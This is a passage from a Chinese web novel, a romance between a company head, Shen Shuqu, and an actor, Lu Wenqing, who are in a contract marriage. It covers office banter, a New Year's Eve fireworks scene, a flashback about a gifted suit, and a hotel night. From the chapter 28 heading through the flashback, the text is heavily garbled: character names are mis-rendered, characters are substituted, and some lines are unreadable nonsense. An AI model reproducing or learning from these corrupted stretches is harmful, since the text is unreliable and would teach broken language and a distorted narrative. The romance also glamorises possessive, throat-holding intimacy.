陆闻轻握住他的手往回一拉,沈书渠一时不防备被他拽到怀里,下意识用完好的那只手撑住他肩膀。 “眼镜。” 沈书渠鼻梁一凉,视线骤然清晰。 “我等你下班,晚上带你去个地方。”陆闻轻替他整了下并不乱的衬衣领子,轻轻推了一下,“去吧。” 沈书渠轻舒了口气,快步出了办公室,活像是劫后余生。 陆闻轻坐在沈书渠的椅子上,打量了一下这间办公室,一整面的落地窗纤尘不染,旁边木架上放着一盆蓝紫色的龙胆花。 文件归类整齐,上面压着一支斑驳残旧的黑色钢笔。 大部分人都会在办公室放一些杂物,譬如照片、衣物或者午休毯之类,摆设可以投射出一个人的偏好,从而判断出这个人的性格。 沈书渠的办公室里几乎没有私人物品,连咖啡杯都是公司统一配备,仿佛只准备在这里待上几天就离开。 他拿起那只千疮百孔的钢笔端详了一会,惊讶发现是DI六年前出的纪念款,全世界仅此一支。 笔身上有刻字,但因为外壳有些变形难以辨认,只能看出最后一个字是枝。 陆闻轻给简芬妮发了条消息:六年前那支纪念钢笔被谁买了? 简芬妮很快就回了消息:六年前我还没到D呢,我只听说这笔是拿来展览并不售卖的,不知道对方用什么办法拿走的。听说是要送爱人,你见到那支笔了? 陆闻轻莫名觉得这支钢笔像极了沈书渠,漆黑笔身矜贵冰冷,送他的人一定也是这么想。 这笔千疮百孔,但他又时时带在身边,应该就是那个“白月光”所赠。 既然是送爱人,为什么又结婚了? 沈书渠理性缜密完美无缺,爱上他是很简单的事情,如果从这支笔上市算到他和沈书渠结婚,也就一年不到? 一年不到就变心的男人,也值得记这么多年,陆闻轻把笔往桌上一搁,瞎了眼的东西。 沈书渠一场会开了将近两个小时,回来时发现陆闻轻在休息间睡着了,推门看了一眼又悄悄退出来。 下午叶缘把温怀瑾的病例放在他桌上,刚要说话就被沈书渠抬手示意:“轻一点。” 叶缘不明所以,但还是放轻声音说:“我把温老去世前后共三十年的病例都查了一遍,他从二十五年前开始心脏就不好了。第一次病发是在 视察新厂址的时候,不过当时身边跟了医疗人员所以问题不大,您怀疑他的死有问题吗?”“还不知道,这件事别声张。” 叶缘不知道他想做什么,但还是点点头:“我明白,对了,过几天陆影帝要开始贺岁档的路演,还跟往年一样吗?” 沈书渠思忖片刻,说:“烽火传媒今年贺岁档也有一部电影,你帮我包两场,再送个花篮。” “我没有包场吗?”一道沙哑嗓音陡然插进来。 陆闻轻不知道什么时候醒了,慵懒倚靠门边慢条斯理打了个呵欠。 “沈总,未免太偏心了,我给你赚的不是钱吗?连个花篮也舍不得送。” 办公室恒温,他双眸惺忪,衬衣半解露出一小片胸膛。 叶缘被帅得心一麻,用文件捂着半张脸。 “陆老师,您、您怎么睡…”叶缘舌头打结,想起刚才沈书渠让她小声一点,估计就是怕吵醒陆闻轻。 她脑子里瞬间浮现五百章他爱他他爱他和和他在一起的恩怨纠葛。 陆闻轻略微歪头朝她笑了下:“叶助理,你们沈总的休息室是不让睡吗?” 叶缘脑子运转卡壳,有一种发现大秘密随时会被boss们干掉的危机。 “呃.……是,您是第一个在他休息间睡觉的人。” “是么。” “沈总从来不让人碰他的私人物品,尤其是眼镜,上次应酬有人………” 沈书渠放下笔,点点门:“出去。” 叶缘如蒙大赦,火速卷上文件滚了。 沈书渠在心里深吸一口气,回过头看陆闻轻,正好撞入他似笑非笑的眼神里,话便卡了一下:“你、别听她乱说。” “哪句是乱说?我不是第一个在你休息间里睡觉的人?” 沈书渠青筋一跳:……你困不困,再睡一会吧,我下班了叫你。” 陆闻轻在里间睡觉,沈书渠总是走神,时不时就会想到他躺在自己的床上,盖着他的被子,在满是他气味的区域里睡着。 他会留下气味,晚上要不要干脆留在办公室睡。 六点下班,沈书渠去休息间叫醒陆闻轻。 他睡得很沉,漆黑睫毛覆盖下来柔和了几分锋利,多了些温和。 “你是来叫我起床,还是来暗杀我的?”陆闻轻猛地伸手把沈书渠往身上一拽。 沈书渠被他吓了一跳,镜片后的双眸闪过几分惊吓:“我、准备叫你,既然你醒了就起来吧。” “准备好了吗?” 沈书渠被迫伏在他身上,耳朵有一点发热,连被他松松搭住的腰也不自觉发软。 “准备……什么?” 陆闻轻一只手握着他手腕,勾住他腰的那只手紧了紧,微微靠近他耳朵低缓含笑:“你不是来叫我起床吗?不叫,我怎么起?” 沈书渠:“你不是醒了吗?” 陆闻轻握着他的手放在枕头上,活像是沈书渠在强制他一样,“醒了,但起不来,刚才是你自己说叫我起床,出尔反尔。” 他这意思是非要补那个流程,沈书渠和他近得呼吸可闻,只要低下头就可以亲上去。 他怕自己再待一会就要忍不住,只好深吸一口气,低声叫他:“陆闻轻,起床了,我下班了。” 他这样叫人,有一种在叫爱人起床的错觉。 陆闻轻心头微热,几乎想把他按在床上尝试一下昨晚那个一闪而过的念头,看看他的腿是不是能分得那么开。 “.…可以起来了吗?”沈书渠拿开他的手,撑着床起身时屈起一条腿,腰身本能塌出一个很微妙的弧度。 他腿很长,腰又细,一闪而过的塌腰只想让人握着那截腰压得更低。 陆闻轻喉咙一滚,心想真是自讨苦吃。 两人一起下楼,陆闻轻顺手拉开车门,一只手搭在门上等他进去。 沈书渠:“我只是扭伤。” “扭伤还失望了?下次打算给我一个什么惊喜,去交警队领你?” 沈书渠果然不说话了,车行到一半,他发现并不是回家的方向。 “我们要去哪儿?” “诱拐你离家出走。”陆闻轻单手握着方向盘,偏过头来发现他有一瞬间失神,“怎么?怕我把你卖了?” 沈书渠恍惚了一下,脱口笑道:“骗人连饵也不准备啊。” “美色不算饵?”陆闻轻空出一只手,在他额头上点了下:“沈总,你要是条鱼,钓你恐怕要准备一只座头鲸。”沈书渠眼尾微叠,笑说:“座头鲸是国家一级保护动物,拿它当饵是犯法的。”陆闻轻凉道:“不犯法也没见你咬。” 临近年关,处处张灯结彩,连锦盛办公楼里都充斥着新年的氛围。 沈安最近一个月老实得很不正常,甚至学会了按时打卡。 沈书渠懒得管,只叫人盯着他。 陆闻轻随剧组路演,沈书渠连包十一场,以公司名义给他订了花篮庆贺。 陆闻轻拍了张图问他:这是什么? 沈书渠开完年内最后一场会,边走边给他回消息:公司给你庆祝路演成功的花篮。 陆闻轻:你的呢? 沈书渠:一起送的。 陆闻轻:公司是公司的,谁知道是公司谁送的,也许是门卫二大爷送的呢?说不定他是我的影迷。 沈书渠心说那包场也是二大爷包的吗?那几万只烟花也是二大爷给你放的吗? 沈书渠:我没给二大爷开那么高的工资。 陆闻轻:算了。 沈书渠收起手机进办公室,差点撞上从里面出来的沈安。 “你在我办公室干什么?” 沈安慌了一瞬,下意识把头发往袖子里藏了藏,“爸让我来告诉你回家过年,我话带到了,随便你回不回。” 沈安这个人听不懂太晦涩的话,沈书渠懒得浪费时间,索性直白道:“我会回去的,我回去的那一天就是你跟你妈滚出沈家的那一天,你最好做好准备。” 沈安一悚,骤然想起余欣的话,难道他真的后悔了? “凭你?” 沈书渠像看傻子一样看沈安:“沈家的权力在谁手上,他说让谁做继承人只是一句话的事,我是说过放弃,那又如何?有法律效力吗?” 沈安醍胡灌顶,沈氏权力只在沈正兴一个人手上,沈书渠至少还有个锦盛,余欣手上可是一点股权也没有,如果他突然改变心意那他们岂不是全完了? "我只要锦盛,如果你够聪明就应该知道要怎么做。" 沈安笑道:“你想利用我什么?” 沈书渠没想到他还长了一点脑子,意外道:“你看出来了,那我也不瞒你,你很清楚我只爱陆闻轻,沈氏我不是一定要争。” 沈安思忖几秒,笑道:“大哥,你真是个痴情种啊。” 路演安排很满,有时候一天要跑三个城市,陆闻轻肉眼可见地瘦了一些。 沈书渠半个月不见他,突然觉得很难熬。 除夕那天在雁城,沈书渠戴着口罩坐在最后一排,身旁是一个年轻女孩儿,举着一个应援卡小声问他:“你也是陆影帝粉丝吗?” 沈书渠偏过头,对方塞给他一个陆闻轻的Q版娃娃,热情道:“要一直喜欢陆影帝哦。” 沈书渠接过来,礼貌道谢:“会的。” 路演结束快十二点,沈书渠坐在隐蔽角落看着陆闻轻和主创们离去,这才拿上娃娃出影厅。 相思暂时缓解,沈书渠抽出几分精力想离婚以后是不能这样见的。 他能祝福他找到真爱,但大概做不到看陆闻轻和别人恩爱。 他捏着娃娃,一抬头就看到陆闻轻单手插兜站在门口,赫然是在等他。 “一进来就看到你了,跟人家女孩子说什么悄悄话呢?” 陆闻轻走近了,拿过他手上的娃娃晃了两下:“喜欢我啊?” 沈书渠借着娃娃为借口,很轻地“嗯”了下:“做得很好看。” “人好看还是娃娃好看?” “人。” 陆闻轻将娃娃丢在他怀里,顺手摘掉遮了半张脸的口罩:“包这么严实干什么也不嫌闷,怕人认出来?”沈书渠其实是怕他认出来,才这么几天不见就要跟上来。 “沈总,是特地来看我路演的么?” 沈书渠还没说话,先听见一声惊叫:“哎是你呀?” 刚才送玩偶的年轻女孩儿一路小跑过来:“哇哥哥你好帅,你也是演员吗?我没看过你的戏诶,给我签个名可以吗?能合照吗?摸摸头合照行吗?” 陆闻轻冷声警告:“乔雨葵。” 乔雨葵被他吓一哆嗦,滴溜溜站直往后退了半步,很亲昵地挽住陆闻轻的手臂:“小舅,你给我介绍一下嘛。” 沈书渠吃了一惊,小舅? 陆闻轻说:“我外甥女,应该还算听话,介意吗?” 沈书渠摇摇头:“不介意。” 乔雨葵立刻撅起嘴,小声反驳:“什么叫还算听话,我明明就很听话,你上次说送我项链结果我连面儿都没见到,我还不是原谅你啦!” 陆闻轻抽出手臂,按着乔雨葵的脑袋往后推了半步:“你妈呢?” 乔雨葵被他按得跟个僵尸一样,艰难地回过头冲着不远处的女人喊:“妈妈!小舅在这儿呢。” 女人穿着很干净的米色高领毛衣配驼色大衣,皮肤很好几乎没有皱纹,看起来像是才三十几岁的样子。 陆闻轻松开乔雨葵,牵住沈书渠的手给陆施月介绍:“我爱人,沈书渠。” 第28章间笛思春(儿 28、闻笛思春(八沈书渠猝不及防被这个称呼叫得愣了一下,但很快明白过来是客套,他甚至能抽出空想:不知走廊里的监控能不能给他拷走。 陆施月职业使然,习惯性从头到脚打量遍沈书渠整个陆家都知道陆间轻为了能彻底断了家里让他入仕的念头,找了个男人协议结婚。 只品没旭到长了这样张脸。 “好,陆施月。” 沈书渠松松握住她指尖,体面温和:“您好,沈书渠。” 乔雨葵瞪着一双商溜溜的大眼晴,像一只间入陌生领地的猫,十分谨慎地冲沈书渠看。 这猫缺心眼儿,磨蹈着凑到陆间轻身边用所有人都能所听见的声音散发求知欲:“哥哥,你就是小舅那个协议结婚的对象呀?” 沈书渠:“ 陆间轻:“不雨葵。” 乔雨葵堪堪长到米五,面对看将近米九的陆间轻,只的能双难地们起脖子靠近:“咽嗯” 长嘴不是非要拿来说话。”陆间轻按住她脑袋,凉道:“大人说话,一边玩儿去。” 乔雨葵当场熄火,装作四处张望间偷偷摸摸又把眼神落在沈书渠身上,总觉得在哪儿见过这张脸 陆施月拍拍女儿的肩膀,笑说“要口叔叔。” 乔雨葵乖乖开口:“沈叔叔。” 陆施月笑道:“她被宠坏了,没大没小惯了,沈先生不要见怪。” 沈书渠:“不要紧。” 陆施月的气质和陆闻轻有些相似,举手投足之间都有一种很自然的,长居上位的威压感。 “今天是除夕,家里人都在等陆闻轻回去吃饭,沈先生也一起?” 沈书渠不太习楔和陌生人吃饭,尤其还是除这种国家欢乐的时划,婉巨道:“我还有事要回平洲今天过来是顺便,就不打扰了。” 陆闻轻抬手看表:“我有事儿要办,你回去替我说声抱歉。 陆施月:吧。” 嗯” 司机在停车场候看,陆间轻把口罩还给沈书渠,和他起包得严严实实上了车。 除夕夜,路上空前的拥挤。 沈书渠微微偏头看看窗外零零星星的烟花,最近几年烟花爆竹解禁,市民纷纷领有孩子出来庆祝新年。 有对小情但正在拍照,年轻的女孩儿拿着根小烟火棒冲镜头笑得分美,火光映衬下,一闪而过的画面美好的令人艳美。 沈书渠没放过烟花,那时候他还小,不懂事的年纪织只会微和要赖,并不知道温若桥是不被允许出门的。 在学校听了同学们说起爸爸妈妈带他放烟花,于是回家也叫温若桥带他放烟花。 她很为难地笑笑,摸着他的脸说:“宝宝,我们不放烟花好不好,妈妈讲故事给你听。” 沈书课用力甩开她的手,冲她大发脾气:“我不要听故事,你每天只会讲故事,我已经四岁了不喜双听师那些幼维故事!我们班陈局的妈妈会带他去爬山去游乐场还会给他买很多玩具,你连烟花都不给我放,我讨厌你!” 他已经不记得那次发脾气后多久没有理温若桥,只记得那年除夕夜温若桥拿了一个很小的烟火棒到他房问里,很经声和他道歉:“宝宝对不起,妈妈只能拿到这么小的烟花,不要讨天妈妈,好吗?” 沈书课那时候虽然很不满意,但还是“大发慈悲”原谅了她,后来才知道温若桥为了拿到那个小小的不值钱的烟火棒付了什么代价。 在沈家,他是温若桥唯一的寄托,也是她最致命的牵绊。 他小时候度以为温若桥很懦弱,真的以为是沈正兴说的那样,靠他而活的苑丝子。 后来他才知道她曾在陌生国度拿到全额奖学金,是全球排名第一的实验室里唯—张来自东方的女性面孔。 沈书渠进实验室实习,在墙上看到她的照片。 她棒着奖杯与鲜花大方方看向镜头,在一群男人中如骄阳般耀眼。 沈书渠眼神渐渐散焦,在远处轰轰烈的焰火中想起温若桥的样子,她很漂亮也很善良,连小动物受了伤都会心疼。 有一年家里的花园里掉了一只受伤的银喉长尾山雀,沈书渠扒开雪堆棒着冻僵小小身体来找温若桥。 两人一起将它腿部的伤包扎好,偷偷养在了他的房间里,打算等到开春了再放它回去。 某天放学,沈书渠放下书包去找妈妈起放小鸟回归天空。 全世界都认为深爱亡妻的沈正兴正握着那只鸟小小的身体,质问温若桥是想要自由吗? 后来,那只银喉长尾山雀被永远埋在了花园里。 车停下来,沈书深骤然听见整齐划一的倒计时:“+、九、八 跨海大桥连接雁城与平洲,随着倒汁时进入尾南,一声响彻夜空的“新年快乐”,整座大桥蹋间光芒绚烂。 “沈书渠。” 陆闻轻声音几乎湮灭在欢呼声中,沈书渠转过身,在光影之中静静看着他的脸。 沈书渠骤然口神,眼底神色还没有完全调整好就生出了几分茫然,透过镜片有些说不上来的可爱。 身后有人拿着烟火棒经过,陆间轻握住他手往自己一带,“手怎么这么凉?” 沈书渠下意识抽了下手,却没抽开。 “鄂周动,左右部是人放烟花,把你衣服汤坏了找人结找不者。“陆间轻给他唇了一会手,低下头近他耳边轻经地说:“如果我被人认出来,明年这座桥可能就不会有烟化了,情况好点,我们会去医院,不好就得去警察局了。“耳边烟花此起彼伏,陆闻轻手上的热度源源不断地传来,沈书渠焦噪不安地握紧手指,在绚烂光影下与他共同跨过一岁。 陆间轻顺着沈书渠的视线看了一眼,他对烟花其实没什么兴趣,但上次顾向平说起有人给他放了六万个烟花,沈书渠像是有-瞬间的遗憾 陆闻轻问旁边的女孩子:“这个,能卖我一个吗?” 那女孩儿正在拍照,十分大方递给他两根烟火棒:“不用买,送你好啦。“ “富时谢时。”陆间经接过来递给沈书渠根,从他大衣口袋中陶出打火机点燃根。 烟火棒牢出炫目白光,陆间轻碰上他手上那只,语气里带了几分不太明显的试探:“这东西不讲究多少,主要看场合和放的人。”“我知道。”两根烟火棒很快熄灭,陆闻轻吧打火机还给他,“今天来得匆忙,以后带你看更多更漂亮的。” 沈书渠笑了下:“我没有很喜欢看烟花。” 陆国移受两网他时e这个间画,据着他开开门吧人进去,天穿这么源两千什么,你这大农中看种用,下次免9的服 沈书渠的第一套西装是陆间轻给他买的,当时他在国外身无分文,沈正兴给他准备的房子里只有不会说话的厨娘和两个时刻监视的保镖 学校要求演讲要穿正装,沈书渠就向同学租了一套,对方是个来自俄罗斯的魁梧壮汉,足足有两米高。 沈书渠那时候堪堪米八,同学的西装穿起来很不合身,活像是个进城乞讨的新鲜乞5。 沈书渠不会系领带,在视频里请教陆间轻。 仙量眼it眠了,阳天航直带人到学校始出虫身,演当天早上带着合材牌典的二件式四的,还于给地了锚。陆闻轻低头给他扣袖扣,说:“你现在还小,先戴个年轻一点的萤石袖扣,长大了给你换钻石。 沈来不习姆概N对地这2好,心底先生出了种不配”,时国的有的而向全写毓,很R,以后就这科来” 沈书渠第一次穿这样正式,也没被人夸过漂亮,不太自在地问他:“会很贵吗?我以后赚了钱还给你。” “贵,不过我不接受贷款,现在就还。” 时联经在头灯屈了一下,按在性t的后防住自己垃,端短点KG的在他似以亲了一下现在伽经付饮了。 沈书渠眨了眨眼,耳根子微微乏红。 他双唇苍白显得气色很不好,陆间轻用拇指在他唇上用力揉了几下,等泛起血色才满商道:“下次用这儿还。” 沈书渠不自觉舔了下唇,舌尖粹不及防碴到他指度,又下意识缩了回去,微民嘴唇往后退了半步。 “我先…去演讲。” 沈书渠的全英文演讲+分流畅,如株扎根在异国的清冷白山茶,陆间经靠在树下看他,结束后第一个为他鼓掌。 沈书渠捧着花下来,额角有细微的汗,表示会把衣服和配饰部还给他。 陆闻轻伸手勾松他的领带,莞尔轻笑:“现在不还,以后我亲自拆。” 沈书渠隔了好几秒才理解他的意思,原本就被晒得泛红的脸颊更红几分。 陆间轻拿过他怀里的花随手扔在垃圾桶上,把自己带来的束白山条放在他怀里:“让折吗?” 沈书渠装作听不懂,抱着花走在前面。 陆间轻脚步轻缓地跟他起到了礼堂换衣间,反手把门-关,将人抵在了薄薄的木板上,低头抵看他鼻尖问:“何你呢,让拆吗?” 沈书渠别过头,小声提醒:“我要换衣服,晚上有庆功宴。” 庆功宴跟我有什么关系吗?” 沈书渠被逼得无处可逃,很轻地点了一下头,但陆间轻还不满意,偏要他亲口说出来才行。 沈书渠睫毛微动,轻声说:“让拆的。” 陆间轻低声笑,低下头吻上网泛红的唇,合糊道:“先收一点利息,把编张开。” 29、闻笛思春(九).. 沈书渠不会接吻,每次都是被陆闻轻逼到不行了才会跟着他的话张口,被动地承受他带来的侵犯。 陆闻轻亲人并不温柔,会掐着他的脖子往上抬,以一个禁锢于绝对控制的方式引领他进入成年人的游戏。 换衣间是公开使用,沈书渠听见外面由远及近的说话声,紧张地推了他一下,“有人。” “没听见。”陆闻轻舌尖深入,另一只手按在他喉结上轻轻揉,逼得他双腿发软疯狂滚动那颗小喉珠。 小小的换衣间里呼吸交错,水声绵密粘稠,沈书渠和他在那里接了一个长到几乎窒息的吻。 沈书渠只沉溺了短短半分钟的时间就恢复如常,偏过头说:“除夕夜应该和家人团圆,有时间的话还是应该回去。” 陆闻轻单手撑着额头,淡淡道:“陆施月刚刚见过你,我自己回去万一他们问起我怎么不带你,我怎么回答?” 沈书渠没想到这一层,便卡了一下。 “沈总,你帮我想个借口。” 车里开了很重的暖气,沈书渠有些闷,抬手勾了下领带又随手解开一颗纽扣,露出喉结上那粒小痣。 剧组下榻的酒店离得不算特别远,下车时陆闻轻戴上口罩,说:“我的套间有两张床,不介意的话跟我一起住?” 沈书渠原本打算来看一场路演就回去的,但没想到会被他发现,正想着怎么拒绝,谁知他突然说:“我记得你上次答应我一个条件,还记得么?” 沈书渠点点头:“你想要什么?” “陪我住一晚,今天除夕总不能让我工作到半夜还一个人在酒店吃冷饭吧?”陆闻轻俯身欺近,把帽子扣在他头上,“沈总,你说呢?” 沈书渠犹豫了一会,心中不断交战,但最后还是说:“我回平洲还有事,明天的路演我会送你花篮。” “哦,原来沈总的承诺是不算数的。” 沈书渠和他一起上楼,顶层套间宽敞整洁,陆闻轻刷开门卡让他先进去,随手拨了电话让人送餐来。 外面还在放烟花,沈书渠把手上那只玩偶放在桌上,站落地窗边看了一会万家灯火,从倒影里看到陆闻轻走过来。 “饿不饿?” 沈书渠胃有旧疾,也没再隐瞒:“有点。” “先去洗个澡,送餐还得有一会。”陆闻轻打开行李箱,打算从里头找件睡衣给他,拿到手上又换成了明天要穿的衬衣。 浆洗干净的衬衣几乎没有褶皱,但有很淡的香茅草气味,是他惯用的一款香水,陆闻轻以往觉得香水这种东西只是一个品牌一个款式,跟浪浸不搭边。 现在想到沈书渠被他的气味包裹,清瘦的身体被他的衬衣裹住,竟有一种很血脉债张的悸动。 “只有一套睡衣,你穿我衬衫吧,换下来的衣服让酒店洗了明天早上就能干,不嫌弃吧?” 沈书渠犹豫了一下,接过来:“不会。” 他洗完澡出来,从大衣口袋里找出药瓶倒出两粒吞了,出来拧开水瓶喝了一口冲散苦味。 餐食已经送来,陆闻轻站在落地窗边接电话,听见声音回头视线先晃了一下。 刚洗完澡的沈书渠身上有一种湿漉漉的潮气,衬衫不太合身,微微敞开的领口有被热气蒸过的粉意。 “洗好了?过来吃饭。” 沈书渠放下水瓶过去,刚坐下来手机就响了,林锦的视频通话疯狂跳跃,挂掉了他又拨了一个来。 他在林家身份尴尬,除夕这种阖家团圆的日子肯定更难过,沈书渠没办法只好走到落地窗边接起来,“怎么了?” “祝你新年快乐呀,不然还能怎么了?我又不是陆闻轻那么没良心,他给你打电话了吗?” 沈书渠:“其实我…” “我知道你又要帮他说话了,他到底有什么好的,脾气又不好,长得帅能当饭吃吗?我跟你说,迟早有一天你会被他卖了的!” 沈书渠余光瞥见陆闻轻,说了句“新年快乐”眼疾手快准备挂掉视频,谁知他先一步走过来,一只手揽住他的腰,另一只手拿过手机看向林锦:“是么?” 林锦惊恐地瞪大眼:“你、你们?” 沈书渠腰上发紧下意识绷直了身子,手臂隔着薄薄的衣服搭在他小腹上,带来十分强烈的存在感。 一股火苗从下腹窜出来,隔着皮肉与他掌心相合,偏偏陆闻轻像是没感觉到,皮笑肉不笑地反问林锦:“我们怎么了?” 林锦脑子里瞬间闪过一万种不可描述画面,难道沈书渠真的憋不住把陆闻轻潜了? 他表情生生扭曲了下,连带着看陆闻轻的眼神就从惊恐变成了怜悯,“呃,没、没怎么了,书渠他只是有…….” 沈书渠一把抢过手机,匆忙道:“好了没事了,我回平洲再说。” “这么急干什么?”陆闻轻问。 沈书渠生硬推开他,轻吸了口气强装镇定,十分无力地说出了一句无比熟悉的话:“你别跟他一般见识。” “一次可以不跟他一般见识,两次也要我原谅,下次呢?”陆闻轻点了点他手机,慢条斯理道:“我没那么大方,沈总。” 那你把他掐死吧,沈书渠很想这么说,但话到嘴边还是说:“你想让我拿什么换?” 陆闻轻攥住他的手按在冰凉的落地窗上,拇指压着掌心很轻地揉了两下,“这么聪明啊,既然这样那我不客气了,转过去。” 沈书渠本能地往回一缩,又被他重重按回去:“不行吗?” “陆闻轻,你想干什么?” “别问。” 沈书渠精神紧绷,背对着他只能看落地窗上的虚影,不由得屏息等他慢慢欺近,滚烫的呼吸落在了颈边,带来轻微的战栗。 “沈书渠。”陆闻轻只说了三个字,手掌从他小腹缓缓上移,落在了脖子上松松卡住抬起来,带去很轻微的窒息感。他穿着陆闻轻的白衬衣,有一种很暖昧的暗示。 “陆闻轻。”沈书渠下意识攥住他的手指想要掰开,反而被掐得更紧,不由得用力挣了下。 “别动。” “咔嚓”一声,一张照片定格。 陆闻轻松开他的脖子,彬彬有礼向后退了半步,微笑将手机抛给他:“拍张照拿来营业不过分吧?你脖子上有颗痣,拍到很容易被人认出来。” 沈书渠:“下次提前告诉我。” 其实只要陆闻轻不提离婚那他完全是可以用这个身份继续装傻的,骗自己他还没有喜欢的人,但这样对另一个人太不公平了。 沈书渠把手放在冰凉的玻璃上,背对着陆闻轻想,以后最好不要这样了,如果离婚的话他没办法把所有证据都抹掉。 沈书渠静静从反光上看身后的轮廓,仗着模糊不清贪婪又克制地望着他。 他再自私一段时间,只要一段时间就可以,等他把所有的事情都解决干净就可以放归他自由。 “陆闻轻。” “嗯?” “你有什么新年愿望吗?” 陆闻轻左手放在他头上往自己一带,低下头说:“反了,是我要问你有什么新年愿望。” 沈书渠转过头来看他,身后轰然炸开一朵烟花,映在陆闻轻的眼睛里,衬得他笑意很浓。 “我希望你平安健康,事业顺遂。” “不祝我爱情美满婚姻幸福?” 沈书渠心口泛过一丝酸,很快又笑了下:“也祝你爱情美满婚姻幸福。” 陆闻轻抬手在他额头上拍了下,顺手拿掉他的眼镜丢在一边,“我问你有什么新年愿望,是让你跟我提要求的意思。” 沈书渠脱离眼镜就不自觉眯起眼,好像这眼镜就是他冷淡的本体,摘了就显出几分迷茫。 陆闻轻很喜欢他这样,忍着低下头亲亲他的冲动,哄道:“长大了也可以要礼物,想要什么?” 沈书渠愿望很多,但具体下来其实又没有,索性随口说了一句:“想吃荔枝。” “冬天要荔枝,那你确实很难伺候。” 沈书渠不是真要吃,所以也没抱希望:“没有就算了。” 陆闻轻揭开一个托盘,从一片白烟里取出一颗红润饱满的荔枝,剥了皮放在他唇边。 “张嘴。” 路演要持续半个月,每天几场实在辛苦,陆闻轻虽然很想把人塞口袋里揣着但也没真舍得强留沈书渠。 年初四那天下大暴雪,陆闻轻回到酒店已经将近一点钟了,估计沈书渠已经睡了也没给他打电话,只发了一条消息,结果第二天中午也没回。 他拨了个电话过去,起先是没人接,连打两遍索性直接关机了。 什么意思? 沈书渠整整消失了一天一夜,陆闻轻的耐性几乎要用尽,正思考是不是除夕那晚吓着他了故意躲着自己,顾向平的电话就先来了。 “你猜我在哪儿!” “不猜,挂了。” “别挂,我在阳华山!那个大美人今天又来了,我今天一定得看看他到底长什么样,他马上下来了。” 陆闻轻懒得跟他探讨这个问题,正准备挂电话就听见顾向平一声“卧槽”:“陆闻轻,出大事了。” “你能有什么大事,让他弄死了?” “你看那个是不是你们家沈总的司机?”顾向平把通话调成视频模式,对准黑夜中一个瘦高的年轻男孩,赫然就是陈昱。 陆闻轻眼神一凝,伴随着一阵轰鸣的引擎声,陈昱小跑着到那辆迈凯伦塞纳旁,紧接着从里面出来一个清瘦修长的身影。 顾向平彻底傻了,茫然地转过视频:“陆闻轻,那个大美人怎么是你家沈总啊?”